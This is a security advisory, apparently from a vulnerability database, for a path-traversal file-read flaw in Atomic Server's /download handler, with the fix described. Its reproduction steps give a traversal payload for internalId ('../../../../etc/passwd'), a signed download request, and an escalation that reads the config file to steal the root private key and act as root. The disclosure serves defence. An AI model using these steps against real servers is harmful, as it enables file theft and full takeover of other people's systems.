GHSA-8VC4-8HJQ-988P
Vulnerability from github – Published: 2026-11-18 20:42 – Updated: 2026-11-18 20:42Summary
The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the internalId string (datatype string, no character validation) on a resource it owns. The /download handler then uses that value verbatim as a filesystem path — file_path.push(internal_id); NamedFile::open(file_path) — with no sanitization and no containment check (server/src/handlers/download.rs:56-65). By setting internalId to a traversal path (../../../../etc/passwd) or an absolute path (PathBuf::push of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the upload path sanitizes filenames (sanitize_filename); the download path trusts the stored value. The handler also never checks that the resource is a File.
Affected component
server/src/handlers/download.rs:56-65—file_path.push(internal_id)+NamedFile::open, no sanitization, noFile-class check.lib/src/commit.rs(apply_changes) — sets any property; no server-managed-property denylist.
Steps to Reproduce
Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a parent (self-signup, or via the /setup issue reported separately).
- Create a resource and set
internalIdto a traversal path — sign the Commit andPOST /commit(200):
subject = http://localhost:9883/pwnfile
set = {
"https://atomicdata.dev/properties/parent": "http://localhost:9883",
"https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
- Download it. The auth signature is over the resolved subject (the server strips the
/downloadprefix →http://localhost:9883/pwnfile):
GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>
Response 200 OK returns the host /etc/passwd:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
- Escalate — set
internalId = /atomic-storage/config/config.toml(absolute path) and download again:
server = "http://localhost:9883"
agent = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY" # server root agent key
- Using the stolen key, the attacker signs a Commit with
signer = <root agent>→POST /commit(200) edits data as root. Full compromise.
Expected: internalId treated as a server-managed property and/or /download canonicalizes and confines the path to uploads_path.
Actual: Arbitrary host file read, including the root private key.
Impact
Arbitrary file read as the server process: /etc/passwd, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.
Remediation
- In
download.rs:sanitize_filename(internal_id), thencanonicalizeand assert the resolved path stays withinuploads_pathbefore opening; verify the resource is aFile. - Add a server-managed-property denylist (
internalId, rights arrays, etc.) inlib/src/commit.rsso clients cannot set them.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "atomic-server"
},
"ranges": [
{
"events": [
{
"introduced": "0.30.0"
},
{
"last_affected": "0.40.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69156"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-18T20:42:15Z",
"nvd_published_at": "2026-11-17T21:18:12Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Commit apply path enforces **no allowlist of writable properties**, so any authenticated Agent can set the `internalId` string (datatype `string`, no character validation) on a resource it owns. The `/download` handler then uses that value **verbatim** as a filesystem path \u2014 `file_path.push(internal_id); NamedFile::open(file_path)` \u2014 with **no sanitization and no containment check** (`server/src/handlers/download.rs:56-65`). By setting `internalId` to a traversal path (`../../../../etc/passwd`) or an absolute path (`PathBuf::push` of an absolute path replaces the buffer), an attacker reads **any file on the host**. The highest-value target is the server config file storing the **root agent private key**, which yields full server compromise. Only the *upload* path sanitizes filenames (`sanitize_filename`); the *download* path trusts the stored value. The handler also never checks that the resource is a `File`.\n\n## Affected component\n\n- `server/src/handlers/download.rs:56-65` \u2014 `file_path.push(internal_id)` + `NamedFile::open`, no sanitization, no `File`-class check.\n- `lib/src/commit.rs` (`apply_changes`) \u2014 sets any property; no server-managed-property denylist.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a parent (self-signup, or via the `/setup` issue reported separately).\n\n1. Create a resource and set `internalId` to a traversal path \u2014 sign the Commit and `POST /commit` (200):\n\n```\nsubject = http://localhost:9883/pwnfile\nset = {\n \"https://atomicdata.dev/properties/parent\": \"http://localhost:9883\",\n \"https://atomicdata.dev/properties/internalId\": \"../../../../../../../../etc/passwd\"\n}\n```\n\n2. Download it. The auth signature is over the **resolved subject** (the server strips the `/download` prefix \u2192 `http://localhost:9883/pwnfile`):\n\n```http\nGET /download/pwnfile HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key: \u003cpubkey\u003e\nx-atomic-agent: http://localhost:9883/agents/\u003cpubkey\u003e\nx-atomic-timestamp: \u003cms\u003e\nx-atomic-signature: \u003ced25519(\"http://localhost:9883/pwnfile \u003cms\u003e\")\u003e\n```\n\nResponse `200 OK` returns the host `/etc/passwd`:\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...\n```\n\n3. Escalate \u2014 set `internalId = /atomic-storage/config/config.toml` (absolute path) and download again:\n\n```toml\nserver = \"http://localhost:9883\"\nagent = \"http://localhost:9883/agents/+/KwsAmyzc7S/...\"\nprivate_key = \"REDACTED-ROOT-ED25519-PRIVATE-KEY\" # server root agent key\n```\n\n4. Using the stolen key, the attacker signs a Commit with `signer = \u003croot agent\u003e` \u2192 `POST /commit` (200) edits data **as root**. Full compromise.\n\n**Expected:** `internalId` treated as a server-managed property and/or `/download` canonicalizes and confines the path to `uploads_path`.\n**Actual:** Arbitrary host file read, including the root private key.\n\n## Impact\n\nArbitrary file read as the server process: `/etc/passwd`, env, TLS keys, the sled DB, K8s service-account tokens, and the **root agent private key** \u2192 root impersonation \u2192 full read/write/delete of all data. Only a standard account is needed.\n\n## Remediation\n\n- In `download.rs`: `sanitize_filename(internal_id)`, then `canonicalize` and assert the resolved path stays within `uploads_path` before opening; verify the resource is a `File`.\n- Add a server-managed-property denylist (`internalId`, rights arrays, etc.) in `lib/src/commit.rs` so clients cannot set them.",
"id": "GHSA-8vc4-8hjq-988p",
"modified": "2026-11-18T20:42:15Z",
"published": "2026-11-18T20:42:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69156"
},
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61"
},
{
"type": "PACKAGE",
"url": "https://github.com/ontola/atomic-server"
},
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/releases/tag/v0.40.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.